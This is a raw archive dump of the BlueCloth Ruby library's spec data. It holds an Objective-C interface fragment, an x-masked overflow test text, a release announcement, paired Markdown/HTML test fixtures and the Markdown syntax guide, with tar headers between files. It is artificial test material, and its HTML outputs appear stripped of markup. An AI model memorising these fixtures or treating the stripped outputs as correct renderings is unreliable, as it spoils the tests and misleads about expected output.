(void)startExport; - (void)cancelExport; - (void)cancelExportBeforeBeginning; - (id)directoryPath; - (void)_copySelection:(id)fp12; - (id)temporaryDirectory; - (BOOL)doesFileExist:(id)fp12; - (BOOL)doesDirectoryExist:(id)fp12; - (BOOL)createDir:(id)fp12; - (id)uniqueSubPath:(id)fp12 child:(id)fp16; - (id)makeUniquePath:(id)fp12; - (id)makeUniqueFilePath:(id)fp12 extension:(id)fp16; - (id)makeUniqueFileNameWithTime:(id)fp12; - (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp16; - (id)pathForFSSpec:(id)fp12; - (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp20; - (id)pathForFSRef:(struct FSRef *)fp12; - (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp16; - (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp16; - (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp20; - (BOOL)isAliasFileAtPath:(id)fp12; - (id)pathContentOfAliasAtPath:(id)fp12; - (id)stringByResolvingAliasesInPath:(id)fp12; - (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp16; - (id)validFilename:(id)fp12; - (id)getExtensionForImageFormat:(unsigned int)fp12; - (unsigned int)getImageFormatForExtension:(id)fp12; - (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp36; - (void *)createThumbnailer; - (void *)retainThumbnailer:(void *)fp12; - (void *)autoreleaseThumbnailer:(void *)fp12; - (void)releaseThumbnailer:(void *)fp12; - (void)setThumbnailer:(void *)fp12 maxBytes:(unsigned int)fp16 maxWidth:(unsigned int)fp20 maxHeight:(unsigned int)fp24; - (struct _NSSize)thumbnailerMaxBounds:(void *)fp16; - (void)setThumbnailer:(void *)fp12 quality:(int)fp16; - (int)thumbnailerQuality:(void *)fp12; - (void)setThumbnailer:(void *)fp12 rotation:(float)fp36; - (float)thumbnailerRotation:(void *)fp12; - (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp16; - (unsigned int)thumbnailerOutputFormat:(void *)fp12; - (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp16; - (id)thumbnailerOutputExtension:(void *)fp12; - (BOOL)thumbnailer:(void *)fp12 createThumbnail:(id)fp16 dest:(id)fp20; - (struct _NSSize)lastImageSize:(void *)fp16; - (struct _NSSize)lastThumbnailSize:(void *)fp16; @end @interface ExportMgrRec : NSObject { NSString *mPath; NSBundle *mBundle; id mPlugin; struct _NSSize mViewSize; } - (void)dealloc; - (BOOL)isEqual:(id)fp12; - (id)description; - (id)initWithPath:(id)fp12; - (id)path; - (id)bundle; - (id)bundleInfo; - (BOOL)isValidExportPlugin; - (BOOL)loadPlugin; - (id)exportPlugin; - (void)unloadPlugin; - (id)view; - (struct _NSSize)viewSize; - (void)setPath:(id)fp12; - (void)setBundle:(id)fp12; @end bluecloth-2.2.0/spec/data/re-overflow.txt0000644000175000017500000000556111665167136017750 0ustar boutilboutil* xx xxxxxxx xx xxxxxx. * xxx xxxxxxx xxxx xx xxxxxxxxxxx xx: * xxxxxxx xxxxxxx: xxxxx xxxx xxxx xxxxxxx xxxxxxx xxxxxxxx xxxxxx xx xxxxxxx xxx xxxxxxxxx, xxx x xxxxx xxxxx xxx xxxxxxxx xx xxx xxxxxx xxxx xxx xx xxxxxxxxx xx xxxx. xxxxx xxxxxxx xx xxx xxxx xx xx xxxxxxxxx, xxx xxxx xxxxxx xx xxxxxxx xxxx xxx xxxxxxx'x xxxxxx xxx. xx xxxxxxxx xxxxxxxxxxxxx xxxxxxxx. * xxxxxxxxx xxxxxxx: xxxxx xxxx xxx xxxxx xx xxxxx xxx xxxxxxxx xxxxxxxxx xx xxx xxxxxxxx, xxx xxxxx xxxxx xxxx xxxx xxxxx xxxxxxxxxxxx xx xxx xxxxxxxxxxx xxxx xxx xx xxxxxxxxx xx xxxx. xxxxx xxxxxxx xxx xx xxxxxxxxx xxxxxx xxx-xxxx xxxxx (xx xx xxxxxxxxxx) xx, xx xxxxxxxxx xxxxxxxx xxxxxxx xx xxxxxxxx xx xxxxxx xxx xxxxxxx xxxxxxx xx xxx xxxxxxx, xxxxxx xxx xxxx xxx. xxxxx xxxxxxxxxx xxx xxxx xxxx xx xxxxxxxxx xxx xx xxxxx xxx xxxxx xxxxx xxx xxxx xxx xxxx xxxxxxxxx. xxxxxxxx xxxxxxxxxxxxx xxx xxxx-xxxxxxxxx, xxxx xx xxxxxx xxx xxxx. * xxxxx xxxxxxx: xxxxx xxxx xxxxxx xxxx xxxxxxx xx xxxxxxx x xxxxxxxxxxx xxxxxx, xxxxxxx xx xxxxxxx xxxxxxxxxxxx. xxxxx xxxxxxx xxxx xx xxxxxxxxx xxxxxx xxx-xxxx xxxxx. xxxxxx xxxxxxxxx xxx x xxxx xxxxxxxxx, xxxx xx x-xxxx. * xxxx xxx x xxxxxx xxxxxxx xxxx: xxxxx xxxxxxx xxxx xx xxxxxxxx, xxx xxxxxxx xxx xxx xxxxxx, xxx xxxxx, xxx xxxxxxxxx xxx xxxxxxx xxxx xxx xxxxxxx xxxxxxxx xxxx, xxx xxxx-xxx xxxx, xxx xxxxxxxx xx xxx xxxx, xxx xxx xxxxxxxx xx xxx xxxxxxxxx xxxx-xxx. * xxx xxxxxxxxxxxx xxxxxxxxxxx (x.x.x. xxx xxxxxxxx xx xxxxxxx xxxxxxxx, xx xxxxxxxx xxxxxx, xxx.), xxx xxxxxxx xxxxxxxxxxx xx x xxxxxx xxxxxxx xxxx xxxx xx xxxxxxxxx: x xxxx-xxxxxx xx xxxx-xxxxx xxxxxxxx xx xxx xxxxxxxxxx. * xxx xxx xxxx xxxxxxx xxx, xx xxxxx xxxxxx xx xxxx xx xxx xxxxxxx'x xxxxxx xxx. xxxxxxxx xxxxxxx xxxxxx xx xxxx xxx xxxxxxx xxxxxxx. x xxxxxx xxx xxx xxxxxxx xxxx xx xxxx xx xxxxxxxx. xxxxx xxxxxxxxxxxxx xxxxxx xx x xxxxxx xxxx xx xxxxxxx xxxx xxxx xxxxxx'x xxxxxx xxx xxx xxxx xxxxxxx xxx xxxxxxxxx xxxxxxxxxxx: * xxxxxxxxx xx xxxxxx xxxxxxx xxxxxx xxxx xxxxxx (xx xxxxx xxxxxx xx xx xxxxxxxxxx). * xxxxxxxxxxx xx xxxx xxxxxxx xxx. * xxxx xx xxxxx xxxxxxx xx xxx xxxxxx. * xxxx xxx xxxx xx xxxxxx xx xxxx-xx-xx xx:xx xxx (xx xxx) xxxxxx. * xxxx xxx xxxxxxxx xx xxxxxxxxxxx xx xxxxxx. * xxxxxx xx xxxxxxx xxxx xx xxxxxxxx xxxxxxx xxx xxxx xxxx xx xxxxxx xxxxx-xxxxxxxxxxxx xxxxxx xxxxxxxxxx xxxxxxx. xxxxxxxx xxxxxxx xxx xx xxxxxxxx xx xxxxxxxxxxx xx xxxx xxxx. * xx x xxxxx xxxx: * xxxx xxxxxxx xxxxxx xxxx x xxxxx-xxx xxx xxxxxx xxxxxxx, xxxxxxxx xxxxxxx, xxx xxxxxxxx xxxxx xxxxxxx xxxx xxxxxxxx xxxxxxx, xx xxx xxx. xxxxxxx, xxxx xxxxxx xxx xxxx xx xxx xxxxxxx xx xxx xxxxxx xx xxx xxxxxxx xxxxxx -- xxxxx xxx, xx xxxxx xxxxxx xxxxx xx xxxxx xxx xxxx xxxxxxxx -- xxx xxxx xxxxx xxx xxx xxxxxxxx xx xxxxxxxxx xxxxxx-xxxxxxxx xxxxxxxx. bluecloth-2.2.0/spec/data/ml-announce.txt0000644000175000017500000000113711665167136017710 0ustar boutilboutilHi, I'd like to announce the alpha release of a Markdown library for [Ruby][1] called "BlueCloth". It's mostly a direct port of the most recent Perl version, minus the various plugin hooks and whatnot. More information can be found on [the project page][2], or feel free to ask me directly. I don't have much in the way of a demo yet, but will be working on getting something set up in the coming days. [1]: http://www.ruby-lang.org/ [2]: http://bluecloth.rubyforge.org/ -- Michael Granger Rubymage, Believer, Architect The FaerieMUD Consortium bluecloth-2.2.0/spec/data/markdowntest/0000755000175000017500000000000011665167136017453 5ustar boutilboutilbluecloth-2.2.0/spec/data/markdowntest/Tidyness.text0000644000175000017500000000011611665167136022161 0ustar boutilboutil> A list within a blockquote: > > * asterisk 1 > * asterisk 2 > * asterisk 3 bluecloth-2.2.0/spec/data/markdowntest/Tidyness.html0000644000175000017500000000020511665167136022140 0ustar boutilboutil

A list within a blockquote:

  • asterisk 1
  • asterisk 2
  • asterisk 3
bluecloth-2.2.0/spec/data/markdowntest/Tabs.text0000644000175000017500000000046711665167136021261 0ustar boutilboutil+ this is a list item indented with tabs + this is a list item indented with spaces Code: this code block is indented by one tab And: this code block is indented by two tabs And: + this is an example list item indented with tabs + this is an example list item indented with spaces bluecloth-2.2.0/spec/data/markdowntest/Tabs.html0000644000175000017500000000066711665167136021243 0ustar boutilboutil
  • this is a list item indented with tabs

  • this is a list item indented with spaces

Code:

this code block is indented by one tab

And:

    this code block is indented by two tabs

And:

+   this is an example list item
    indented with tabs

+   this is an example list item
    indented with spaces
bluecloth-2.2.0/spec/data/markdowntest/Strong and em together.text0000644000175000017500000000015311665167136024543 0ustar boutilboutil***This is strong and em.*** So is ***this*** word. ___This is strong and em.___ So is ___this___ word. bluecloth-2.2.0/spec/data/markdowntest/Strong and em together.html0000644000175000017500000000032711665167136024526 0ustar boutilboutil

This is strong and em.

So is this word.

This is strong and em.

So is this word.

bluecloth-2.2.0/spec/data/markdowntest/Ordered and unordered lists.text0000644000175000017500000000160711665167136025563 0ustar boutilboutil## Unordered Asterisks tight: * asterisk 1 * asterisk 2 * asterisk 3 Asterisks loose: * asterisk 1 * asterisk 2 * asterisk 3 * * * Pluses tight: + Plus 1 + Plus 2 + Plus 3 Pluses loose: + Plus 1 + Plus 2 + Plus 3 * * * Minuses tight: - Minus 1 - Minus 2 - Minus 3 Minuses loose: - Minus 1 - Minus 2 - Minus 3 ## Ordered Tight: 1. First 2. Second 3. Third and: 1. One 2. Two 3. Three Loose using tabs: 1. First 2. Second 3. Third and using spaces: 1. One 2. Two 3. Three Multiple paragraphs: 1. Item 1, graf one. Item 2. graf two. The quick brown fox jumped over the lazy dog's back. 2. Item 2. 3. Item 3. ## Nested * Tab * Tab * Tab Here's another: 1. First 2. Second: * Fee * Fie * Foe 3. Third Same thing but with paragraphs: 1. First 2. Second: * Fee * Fie * Foe 3. Third This was an error in Markdown 1.0.1: * this * sub that bluecloth-2.2.0/spec/data/markdowntest/Ordered and unordered lists.html0000644000175000017500000000324511665167136025543 0ustar boutilboutil

Unordered

Asterisks tight:

  • asterisk 1
  • asterisk 2
  • asterisk 3

Asterisks loose:

  • asterisk 1

  • asterisk 2

  • asterisk 3


Pluses tight:

  • Plus 1
  • Plus 2
  • Plus 3

Pluses loose:

  • Plus 1

  • Plus 2

  • Plus 3


Minuses tight:

  • Minus 1
  • Minus 2
  • Minus 3

Minuses loose:

  • Minus 1

  • Minus 2

  • Minus 3

Ordered

Tight:

  1. First
  2. Second
  3. Third

and:

  1. One
  2. Two
  3. Three

Loose using tabs:

  1. First

  2. Second

  3. Third

and using spaces:

  1. One

  2. Two

  3. Three

Multiple paragraphs:

  1. Item 1, graf one.

    Item 2. graf two. The quick brown fox jumped over the lazy dog's back.

  2. Item 2.

  3. Item 3.

Nested

  • Tab
    • Tab
      • Tab

Here's another:

  1. First
  2. Second:
    • Fee
    • Fie
    • Foe
  3. Third

Same thing but with paragraphs:

  1. First

  2. Second:

    • Fee
    • Fie
    • Foe
  3. Third

This was an error in Markdown 1.0.1:

  • this

    • sub

    that

bluecloth-2.2.0/spec/data/markdowntest/Nested blockquotes.text0000644000175000017500000000003011665167136024110 0ustar boutilboutil> foo > > > bar > > foo bluecloth-2.2.0/spec/data/markdowntest/Nested blockquotes.html0000644000175000017500000000015111665167136024074 0ustar boutilboutil

foo

bar

foo

bluecloth-2.2.0/spec/data/markdowntest/Markdown Documentation - Syntax.text0000644000175000017500000006544411665167136026336 0ustar boutilboutilMarkdown: Syntax ================ * [Overview](#overview) * [Philosophy](#philosophy) * [Inline HTML](#html) * [Automatic Escaping for Special Characters](#autoescape) * [Block Elements](#block) * [Paragraphs and Line Breaks](#p) * [Headers](#header) * [Blockquotes](#blockquote) * [Lists](#list) * [Code Blocks](#precode) * [Horizontal Rules](#hr) * [Span Elements](#span) * [Links](#link) * [Emphasis](#em) * [Code](#code) * [Images](#img) * [Miscellaneous](#misc) * [Backslash Escapes](#backslash) * [Automatic Links](#autolink) **Note:** This document is itself written using Markdown; you can [see the source for it by adding '.text' to the URL][src]. [src]: /projects/markdown/syntax.text * * *

Overview

Philosophy

Markdown is intended to be as easy-to-read and easy-to-write as is feasible. Readability, however, is emphasized above all else. A Markdown-formatted document should be publishable as-is, as plain text, without looking like it's been marked up with tags or formatting instructions. While Markdown's syntax has been influenced by several existing text-to-HTML filters -- including [Setext] [1], [atx] [2], [Textile] [3], [reStructuredText] [4], [Grutatext] [5], and [EtText] [6] -- the single biggest source of inspiration for Markdown's syntax is the format of plain text email. [1]: http://docutils.sourceforge.net/mirror/setext.html [2]: http://www.aaronsw.com/2002/atx/ [3]: http://textism.com/tools/textile/ [4]: http://docutils.sourceforge.net/rst.html [5]: http://www.triptico.com/software/grutatxt.html [6]: http://ettext.taint.org/doc/ To this end, Markdown's syntax is comprised entirely of punctuation characters, which punctuation characters have been carefully chosen so as to look like what they mean. E.g., asterisks around a word actually look like \*emphasis\*. Markdown lists look like, well, lists. Even blockquotes look like quoted passages of text, assuming you've ever used email.

Inline HTML

Markdown's syntax is intended for one purpose: to be used as a format for *writing* for the web. Markdown is not a replacement for HTML, or even close to it. Its syntax is very small, corresponding only to a very small subset of HTML tags. The idea is *not* to create a syntax that makes it easier to insert HTML tags. In my opinion, HTML tags are already easy to insert. The idea for Markdown is to make it easy to read, write, and edit prose. HTML is a *publishing* format; Markdown is a *writing* format. Thus, Markdown's formatting syntax only addresses issues that can be conveyed in plain text. For any markup that is not covered by Markdown's syntax, you simply use HTML itself. There's no need to preface it or delimit it to indicate that you're switching from Markdown to HTML; you just use the tags. The only restrictions are that block-level HTML elements -- e.g. `
`, ``, `
`, `

`, etc. -- must be separated from surrounding content by blank lines, and the start and end tags of the block should not be indented with tabs or spaces. Markdown is smart enough not to add extra (unwanted) `

` tags around HTML block-level tags. For example, to add an HTML table to a Markdown article: This is a regular paragraph.

Foo
This is another regular paragraph. Note that Markdown formatting syntax is not processed within block-level HTML tags. E.g., you can't use Markdown-style `*emphasis*` inside an HTML block. Span-level HTML tags -- e.g. ``, ``, or `` -- can be used anywhere in a Markdown paragraph, list item, or header. If you want, you can even use HTML tags instead of Markdown formatting; e.g. if you'd prefer to use HTML `` or `` tags instead of Markdown's link or image syntax, go right ahead. Unlike block-level HTML tags, Markdown syntax *is* processed within span-level tags.

Automatic Escaping for Special Characters

In HTML, there are two characters that demand special treatment: `<` and `&`. Left angle brackets are used to start tags; ampersands are used to denote HTML entities. If you want to use them as literal characters, you must escape them as entities, e.g. `<`, and `&`. Ampersands in particular are bedeviling for web writers. If you want to write about 'AT&T', you need to write '`AT&T`'. You even need to escape ampersands within URLs. Thus, if you want to link to: http://images.google.com/images?num=30&q=larry+bird you need to encode the URL as: http://images.google.com/images?num=30&q=larry+bird in your anchor tag `href` attribute. Needless to say, this is easy to forget, and is probably the single most common source of HTML validation errors in otherwise well-marked-up web sites. Markdown allows you to use these characters naturally, taking care of all the necessary escaping for you. If you use an ampersand as part of an HTML entity, it remains unchanged; otherwise it will be translated into `&`. So, if you want to include a copyright symbol in your article, you can write: © and Markdown will leave it alone. But if you write: AT&T Markdown will translate it to: AT&T Similarly, because Markdown supports [inline HTML](#html), if you use angle brackets as delimiters for HTML tags, Markdown will treat them as such. But if you write: 4 < 5 Markdown will translate it to: 4 < 5 However, inside Markdown code spans and blocks, angle brackets and ampersands are *always* encoded automatically. This makes it easy to use Markdown to write about HTML code. (As opposed to raw HTML, which is a terrible format for writing about HTML syntax, because every single `<` and `&` in your example code needs to be escaped.) * * *

Block Elements

Paragraphs and Line Breaks

A paragraph is simply one or more consecutive lines of text, separated by one or more blank lines. (A blank line is any line that looks like a blank line -- a line containing nothing but spaces or tabs is considered blank.) Normal paragraphs should not be intended with spaces or tabs. The implication of the "one or more consecutive lines of text" rule is that Markdown supports "hard-wrapped" text paragraphs. This differs significantly from most other text-to-HTML formatters (including Movable Type's "Convert Line Breaks" option) which translate every line break character in a paragraph into a `
` tag. When you *do* want to insert a `
` break tag using Markdown, you end a line with two or more spaces, then type return. Yes, this takes a tad more effort to create a `
`, but a simplistic "every line break is a `
`" rule wouldn't work for Markdown. Markdown's email-style [blockquoting][bq] and multi-paragraph [list items][l] work best -- and look better -- when you format them with hard breaks. [bq]: #blockquote [l]: #list Markdown supports two styles of headers, [Setext] [1] and [atx] [2]. Setext-style headers are "underlined" using equal signs (for first-level headers) and dashes (for second-level headers). For example: This is an H1 ============= This is an H2 ------------- Any number of underlining `=`'s or `-`'s will work. Atx-style headers use 1-6 hash characters at the start of the line, corresponding to header levels 1-6. For example: # This is an H1 ## This is an H2 ###### This is an H6 Optionally, you may "close" atx-style headers. This is purely cosmetic -- you can use this if you think it looks better. The closing hashes don't even need to match the number of hashes used to open the header. (The number of opening hashes determines the header level.) : # This is an H1 # ## This is an H2 ## ### This is an H3 ######

Blockquotes

Markdown uses email-style `>` characters for blockquoting. If you're familiar with quoting passages of text in an email message, then you know how to create a blockquote in Markdown. It looks best if you hard wrap the text and put a `>` before every line: > This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, > consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. > Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. > > Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse > id sem consectetuer libero luctus adipiscing. Markdown allows you to be lazy and only put the `>` before the first line of a hard-wrapped paragraph: > This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. > Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing. Blockquotes can be nested (i.e. a blockquote-in-a-blockquote) by adding additional levels of `>`: > This is the first level of quoting. > > > This is nested blockquote. > > Back to the first level. Blockquotes can contain other Markdown elements, including headers, lists, and code blocks: > ## This is a header. > > 1. This is the first list item. > 2. This is the second list item. > > Here's some example code: > > return shell_exec("echo $input | $markdown_script"); Any decent text editor should make email-style quoting easy. For example, with BBEdit, you can make a selection and choose Increase Quote Level from the Text menu.

Lists

Markdown supports ordered (numbered) and unordered (bulleted) lists. Unordered lists use asterisks, pluses, and hyphens -- interchangably -- as list markers: * Red * Green * Blue is equivalent to: + Red + Green + Blue and: - Red - Green - Blue Ordered lists use numbers followed by periods: 1. Bird 2. McHale 3. Parish It's important to note that the actual numbers you use to mark the list have no effect on the HTML output Markdown produces. The HTML Markdown produces from the above list is:
  1. Bird
  2. McHale
  3. Parish
If you instead wrote the list in Markdown like this: 1. Bird 1. McHale 1. Parish or even: 3. Bird 1. McHale 8. Parish you'd get the exact same HTML output. The point is, if you want to, you can use ordinal numbers in your ordered Markdown lists, so that the numbers in your source match the numbers in your published HTML. But if you want to be lazy, you don't have to. If you do use lazy list numbering, however, you should still start the list with the number 1. At some point in the future, Markdown may support starting ordered lists at an arbitrary number. List markers typically start at the left margin, but may be indented by up to three spaces. List markers must be followed by one or more spaces or a tab. To make lists look nice, you can wrap items with hanging indents: * Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. * Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing. But if you want to be lazy, you don't have to: * Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. * Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing. If list items are separated by blank lines, Markdown will wrap the items in `

` tags in the HTML output. For example, this input: * Bird * Magic will turn into:

  • Bird
  • Magic
But this: * Bird * Magic will turn into:
  • Bird

  • Magic

List items may consist of multiple paragraphs. Each subsequent paragraph in a list item must be intended by either 4 spaces or one tab: 1. This is a list item with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. Donec sit amet nisl. Aliquam semper ipsum sit amet velit. 2. Suspendisse id sem consectetuer libero luctus adipiscing. It looks nice if you indent every line of the subsequent paragraphs, but here again, Markdown will allow you to be lazy: * This is a list item with two paragraphs. This is the second paragraph in the list item. You're only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. * Another item in the same list. To put a blockquote within a list item, the blockquote's `>` delimiters need to be indented: * A list item with a blockquote: > This is a blockquote > inside a list item. To put a code block within a list item, the code block needs to be indented *twice* -- 8 spaces or two tabs: * A list item with a code block: It's worth noting that it's possible to trigger an ordered list by accident, by writing something like this: 1986. What a great season. In other words, a *number-period-space* sequence at the beginning of a line. To avoid this, you can backslash-escape the period: 1986\. What a great season.

Code Blocks

Pre-formatted code blocks are used for writing about programming or markup source code. Rather than forming normal paragraphs, the lines of a code block are interpreted literally. Markdown wraps a code block in both `
` and `` tags.

To produce a code block in Markdown, simply indent every line of the
block by at least 4 spaces or 1 tab. For example, given this input:

    This is a normal paragraph:

        This is a code block.

Markdown will generate:

    

This is a normal paragraph:

This is a code block.
    
One level of indentation -- 4 spaces or 1 tab -- is removed from each line of the code block. For example, this: Here is an example of AppleScript: tell application "Foo" beep end tell will turn into:

Here is an example of AppleScript:

tell application "Foo"
        beep
    end tell
    
A code block continues until it reaches a line that is not indented (or the end of the article). Within a code block, ampersands (`&`) and angle brackets (`<` and `>`) are automatically converted into HTML entities. This makes it very easy to include example HTML source code using Markdown -- just paste it and indent it, and Markdown will handle the hassle of encoding the ampersands and angle brackets. For example, this: will turn into:
<div class="footer">
        &copy; 2004 Foo Corporation
    </div>
    
Regular Markdown syntax is not processed within code blocks. E.g., asterisks are just literal asterisks within a code block. This means it's also easy to use Markdown to write about Markdown's own syntax.

Horizontal Rules

You can produce a horizontal rule tag (`
`) by placing three or more hyphens, asterisks, or underscores on a line by themselves. If you wish, you may use spaces between the hyphens or asterisks. Each of the following lines will produce a horizontal rule: * * * *** ***** - - - --------------------------------------- _ _ _ * * *

Span Elements

Markdown supports two style of links: *inline* and *reference*. In both styles, the link text is delimited by [square brackets]. To create an inline link, use a set of regular parentheses immediately after the link text's closing square bracket. Inside the parentheses, put the URL where you want the link to point, along with an *optional* title for the link, surrounded in quotes. For example: This is [an example](http://example.com/ "Title") inline link. [This link](http://example.net/) has no title attribute. Will produce:

This is an example inline link.

This link has no title attribute.

If you're referring to a local resource on the same server, you can use relative paths: See my [About](/about/) page for details. Reference-style links use a second set of square brackets, inside which you place a label of your choosing to identify the link: This is [an example][id] reference-style link. You can optionally use a space to separate the sets of brackets: This is [an example] [id] reference-style link. Then, anywhere in the document, you define your link label like this, on a line by itself: [id]: http://example.com/ "Optional Title Here" That is: * Square brackets containing the link identifier (optionally indented from the left margin using up to three spaces); * followed by a colon; * followed by one or more spaces (or tabs); * followed by the URL for the link; * optionally followed by a title attribute for the link, enclosed in double or single quotes. The link URL may, optionally, be surrounded by angle brackets: [id]: "Optional Title Here" You can put the title attribute on the next line and use extra spaces or tabs for padding, which tends to look better with longer URLs: [id]: http://example.com/longish/path/to/resource/here "Optional Title Here" Link definitions are only used for creating links during Markdown processing, and are stripped from your document in the HTML output. Link definition names may constist of letters, numbers, spaces, and punctuation -- but they are *not* case sensitive. E.g. these two links: [link text][a] [link text][A] are equivalent. The *implicit link name* shortcut allows you to omit the name of the link, in which case the link text itself is used as the name. Just use an empty set of square brackets -- e.g., to link the word "Google" to the google.com web site, you could simply write: [Google][] And then define the link: [Google]: http://google.com/ Because link names may contain spaces, this shortcut even works for multiple words in the link text: Visit [Daring Fireball][] for more information. And then define the link: [Daring Fireball]: http://daringfireball.net/ Link definitions can be placed anywhere in your Markdown document. I tend to put them immediately after each paragraph in which they're used, but if you want, you can put them all at the end of your document, sort of like footnotes. Here's an example of reference links in action: I get 10 times more traffic from [Google] [1] than from [Yahoo] [2] or [MSN] [3]. [1]: http://google.com/ "Google" [2]: http://search.yahoo.com/ "Yahoo Search" [3]: http://search.msn.com/ "MSN Search" Using the implicit link name shortcut, you could instead write: I get 10 times more traffic from [Google][] than from [Yahoo][] or [MSN][]. [google]: http://google.com/ "Google" [yahoo]: http://search.yahoo.com/ "Yahoo Search" [msn]: http://search.msn.com/ "MSN Search" Both of the above examples will produce the following HTML output:

I get 10 times more traffic from Google than from Yahoo or MSN.

For comparison, here is the same paragraph written using Markdown's inline link style: I get 10 times more traffic from [Google](http://google.com/ "Google") than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or [MSN](http://search.msn.com/ "MSN Search"). The point of reference-style links is not that they're easier to write. The point is that with reference-style links, your document source is vastly more readable. Compare the above examples: using reference-style links, the paragraph itself is only 81 characters long; with inline-style links, it's 176 characters; and as raw HTML, it's 234 characters. In the raw HTML, there's more markup than there is text. With Markdown's reference-style links, a source document much more closely resembles the final output, as rendered in a browser. By allowing you to move the markup-related metadata out of the paragraph, you can add links without interrupting the narrative flow of your prose.

Emphasis

Markdown treats asterisks (`*`) and underscores (`_`) as indicators of emphasis. Text wrapped with one `*` or `_` will be wrapped with an HTML `` tag; double `*`'s or `_`'s will be wrapped with an HTML `` tag. E.g., this input: *single asterisks* _single underscores_ **double asterisks** __double underscores__ will produce: single asterisks single underscores double asterisks double underscores You can use whichever style you prefer; the lone restriction is that the same character must be used to open and close an emphasis span. Emphasis can be used in the middle of a word: un*fucking*believable But if you surround an `*` or `_` with spaces, it'll be treated as a literal asterisk or underscore. To produce a literal asterisk or underscore at a position where it would otherwise be used as an emphasis delimiter, you can backslash escape it: \*this text is surrounded by literal asterisks\*

Code

To indicate a span of code, wrap it with backtick quotes (`` ` ``). Unlike a pre-formatted code block, a code span indicates code within a normal paragraph. For example: Use the `printf()` function. will produce:

Use the printf() function.

To include a literal backtick character within a code span, you can use multiple backticks as the opening and closing delimiters: ``There is a literal backtick (`) here.`` which will produce this:

There is a literal backtick (`) here.

The backtick delimiters surrounding a code span may include spaces -- one after the opening, one before the closing. This allows you to place literal backtick characters at the beginning or end of a code span: A single backtick in a code span: `` ` `` A backtick-delimited string in a code span: `` `foo` `` will produce:

A single backtick in a code span: `

A backtick-delimited string in a code span: `foo`

With a code span, ampersands and angle brackets are encoded as HTML entities automatically, which makes it easy to include example HTML tags. Markdown will turn this: Please don't use any `` tags. into:

Please don't use any <blink> tags.

You can write this: `—` is the decimal-encoded equivalent of `—`. to produce:

&#8212; is the decimal-encoded equivalent of &mdash;.

Images

Admittedly, it's fairly difficult to devise a "natural" syntax for placing images into a plain text document format. Markdown uses an image syntax that is intended to resemble the syntax for links, allowing for two styles: *inline* and *reference*. Inline image syntax looks like this: ![Alt text](/path/to/img.jpg) ![Alt text](/path/to/img.jpg "Optional title") That is: * An exclamation mark: `!`; * followed by a set of square brackets, containing the `alt` attribute text for the image; * followed by a set of parentheses, containing the URL or path to the image, and an optional `title` attribute enclosed in double or single quotes. Reference-style image syntax looks like this: ![Alt text][id] Where "id" is the name of a defined image reference. Image references are defined using syntax identical to link references: [id]: url/to/image "Optional title attribute" As of this writing, Markdown has no syntax for specifying the dimensions of an image; if this is important to you, you can simply use regular HTML `` tags. * * *

Miscellaneous

Markdown supports a shortcut style for creating "automatic" links for URLs and email addresses: simply surround the URL or email address with angle brackets. What this means is that if you want to show the actual text of a URL or email address, and also have it be a clickable link, you can do this: Markdown will turn this into: http://example.com/ Automatic links for email addresses work similarly, except that Markdown will also perform a bit of randomized decimal and hex entity-encoding to help obscure your address from address-harvesting spambots. For example, Markdown will turn this: into something like this: address@exa mple.com which will render in a browser as a clickable link to "address@example.com". (This sort of entity-encoding trick will indeed fool many, if not most, address-harvesting bots, but it definitely won't fool all of them. It's better than nothing, but an address published in this way will probably eventually start receiving spam.)

Backslash Escapes

Markdown allows you to use backslash escapes to generate literal characters which would otherwise have special meaning in Markdown's formatting syntax. For example, if you wanted to surround a word with literal asterisks (instead of an HTML `` tag), you can backslashes before the asterisks, like this: \*literal asterisks\* Markdown provides backslash escapes for the following characters: \ backslash ` backtick * asterisk _ underscore {} curly braces [] square brackets () parentheses # hash mark + plus sign - minus sign (hyphen) . dot ! exclamation mark bluecloth-2.2.0/spec/data/markdowntest/Markdown Documentation - Syntax.html0000644000175000017500000007605111665167136026312 0ustar boutilboutil

Markdown: Syntax

Note: This document is itself written using Markdown; you can see the source for it by adding '.text' to the URL.


Overview

Philosophy

Markdown is intended to be as easy-to-read and easy-to-write as is feasible.

Readability, however, is emphasized above all else. A Markdown-formatted document should be publishable as-is, as plain text, without looking like it's been marked up with tags or formatting instructions. While Markdown's syntax has been influenced by several existing text-to-HTML filters -- including Setext, atx, Textile, reStructuredText, Grutatext, and EtText -- the single biggest source of inspiration for Markdown's syntax is the format of plain text email.

To this end, Markdown's syntax is comprised entirely of punctuation characters, which punctuation characters have been carefully chosen so as to look like what they mean. E.g., asterisks around a word actually look like *emphasis*. Markdown lists look like, well, lists. Even blockquotes look like quoted passages of text, assuming you've ever used email.

